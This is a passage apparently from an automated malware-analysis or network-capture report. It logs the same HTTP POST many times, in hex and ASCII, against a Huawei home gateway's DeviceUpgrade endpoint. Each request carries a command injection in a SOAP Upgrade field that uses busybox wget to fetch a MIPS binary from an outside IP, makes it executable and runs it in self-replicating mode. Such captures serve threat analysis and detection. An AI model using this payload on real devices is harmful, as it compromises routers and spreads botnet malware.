2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 